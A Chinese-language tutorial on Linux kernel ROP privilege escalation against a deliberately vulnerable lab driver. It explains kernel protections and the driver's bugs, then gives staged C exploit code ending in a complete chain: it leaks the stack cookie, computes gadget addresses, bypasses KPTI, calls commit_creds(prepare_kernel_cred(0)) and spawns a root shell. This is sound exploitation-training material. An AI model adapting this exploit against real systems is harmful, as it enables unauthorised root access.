Linux内核ROP攻击提权实战
字数 2026 2025-08-25 22:59:20
Linux内核ROP攻击提权实战教程
1. 环境准备
1.1 实验材料
- bzImage: 压缩后的Linux内核文件
- initramfs.cpio.gz: 压缩的Linux文件系统
- vuln.ko: 存在漏洞的Linux内核驱动程序
- extract-image.sh: 用于提取vmlinux ELF文件的脚本
1.2 工具安装
apt-get -q install -y bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86
1.3 提取vmlinux
./extract-image.sh bzImage > vmlinux
2. Linux内核防护机制
2.1 SMEP (Supervisor Mode Execution Prevention)
- 作用: 防止内核执行用户态内存中的代码
- 实现: 通过设置CPU寄存器(如CR4中的SMEP位)
- 防护: 阻止RCE和本地提权攻击
2.2 SMAP (Supervisor Mode Access Prevention)
- 作用: 限制内核模式对用户态内存的访问
- 实现: 类似SMEP,通过CR4寄存器
- 防护: 防止数据泄露和篡改攻击
2.3 KASLR (Kernel Address Space Layout Randomization)
- 作用: 随机化内核及其模块加载地址
- 实现: 启动时随机化基地址
- 防护: 增加内存攻击难度
2.4 KPTI (Kernel Page-Table Isolation)
- 作用: 防止Meltdown漏洞
- 实现: 用户态和内核态使用不同页表
- 防护: 防止读取内核内存中的敏感数据
3. 漏洞分析
3.1 内核模块功能
- init_func: 模块入口,设置
/pwn/pwn_device文件 - sopen: 打开设备文件时输出"Device opened"
- sread: 读取时输出"Welcome to this kernel pwn series"
- swrite: 存在栈缓冲区溢出漏洞
- sioctl: 提供修改MaxBuffer的功能
3.2 关键漏洞点
-
sread:
- 可控制读取字节数,导致内存泄漏
- 可绕过KASLR防护
-
swrite:
- 边界检查不充分(MaxBuffer可被修改)
- 可导致栈溢出
-
sioctl:
- cmd=32可修改MaxBuffer值
- 为栈溢出创造条件
4. 环境搭建
4.1 修改启动配置
- 修改
fs/init文件,注释掉相关命令,默认以root用户启动 - 修改
launch.sh脚本:- 将
kaslr改为nokaslr - 添加
-s参数启用gdbserver
- 将
4.2 测试程序
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
char buffer[0x100] = "A";
read(fd, buffer, 0x100);
}
编译命令:
gcc -o fs/hello -static hello.c
5. 漏洞利用
5.1 触发崩溃
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
char buffer[0x1000];
ioctl(fd,32,sizeof(buffer));
memset(buffer, 'A', 500);
write(fd, buffer, sizeof(buffer));
return 0;
}
5.2 信息泄露
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
unsigned long buffer[0x1000];
read(fd, buffer, 0x100);
for (int i = 0; i < 0x100; i++)
printf("%d | %lx\n", i, buffer[i]);
}
5.3 控制RIP
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
unsigned long buffer[0x1000];
read(fd, buffer, 0x100);
unsigned long kernel_base = buffer[18] - 0x23e347;
unsigned long kernel_cookie = buffer[14];
printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
printf("[*] kernel leak: 0x%lx\n", buffer[18]);
printf("[*] kernel base address: 0x%lx\n", kernel_base);
ioctl(fd, 0x20, 0x1337);
int offset = 16;
unsigned long payload[50];
payload[offset++] = kernel_cookie;
payload[offset++] = 0xdeadbabedeadbabe;
payload[offset++] = 0x4141414142424242; //ret addr
write(fd, payload, sizeof(payload));
}
6. 提权原理
6.1 进程凭证
- task_struct: 包含进程的所有信息
- cred结构体: 包含进程的euid(有效用户ID)
- 提权方法: 将euid改为0(root)
6.2 关键API
-
prepare_kernel_cred:
struct cred *prepare_kernel_cred(struct task_struct *reference_task_struct);- 传入NULL创建具有root权限的cred结构
-
commit_creds:
int commit_creds(struct cred *new);- 将当前cred替换为新的cred结构
6.3 提权代码
commit_creds(prepare_kernel_cred(0));
7. ROP链构造
7.1 绕过KPTI
使用KPTI trampoline方法:
- 位于
swapgs_restore_regs_and_return_to_usermode()函数中 - 用于正常返回用户空间时交换页表
7.2 Gadget查找
- prepare_kernel_cred:
kernel_base + 0x881c0 - commit_creds:
kernel_base + 0x87e80 - kpti_trampoline:
kernel_base + 0xc00a2f + 22 - pop_rdi:
kernel_base + 0x1518 - pop_rdx:
kernel_base + 0x34b72 - iretq:
kernel_base + 0x23cc2 - swapgs_ret:
kernel_base + 0xc00eaa - cmp_rdx_ret:
kernel_base + 0xa30061 - mov_rdi_rax_ret:
kernel_base + 0x3b3504
8. 完整利用代码
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
unsigned long leakbuf[0x100];
read(fd, leakbuf, 0x100);
unsigned long kernel_base = leakbuf[18] - 0x23e347;
unsigned long kernel_cookie = leakbuf[14];
unsigned long prepare_kernel_cred = kernel_base + 0x881c0;
unsigned long commit_creds = kernel_base + 0x87e80;
unsigned long user_rip = (unsigned long)get_shell;
unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22;
unsigned long pop_rdi = kernel_base + 0x1518;
unsigned long pop_rdx = kernel_base + 0x34b72;
unsigned long iretq = kernel_base + 0x23cc2;
unsigned long swapgs_ret = kernel_base + 0xc00eaa;
unsigned long cmp_rdx_ret = kernel_base + 0xa30061;
unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504;
printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
printf("[*] kernel leak: 0x%lx\n", leakbuf[18]);
printf("[*] kernel base address: 0x%lx\n", kernel_base);
printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
printf("[*] commit_creds: 0x%lx\n", commit_creds);
ioctl(fd, 0x20, 0x1337);
int offset = 16;
unsigned long payload[50];
payload[offset++] = kernel_cookie;
payload[offset++] = 0x0;
payload[offset++] = pop_rdi;
payload[offset++] = 0x0;
payload[offset++] = prepare_kernel_cred;
payload[offset++] = pop_rdx;
payload[offset++] = 0x8;
payload[offset++] = cmp_rdx_ret;
payload[offset++] = mov_rdi_rax_ret;
payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(fd, payload, sizeof(payload));
}
9. 利用步骤总结
- 通过sread泄露内核地址和栈cookie
- 计算内核基地址和关键函数地址
- 使用ioctl修改MaxBuffer值
- 构造ROP链:
- 调用prepare_kernel_cred(0)
- 调用commit_creds
- 通过KPTI trampoline返回用户空间
- 检查提权是否成功
- 获取root shell
10. 注意事项
- 调试时关闭KASLR方便定位问题
- 实际攻击时需要处理KASLR随机化
- 不同内核版本gadget地址可能不同
- 确保ROP链正确恢复栈状态
- 注意处理SMEP/SMAP防护机制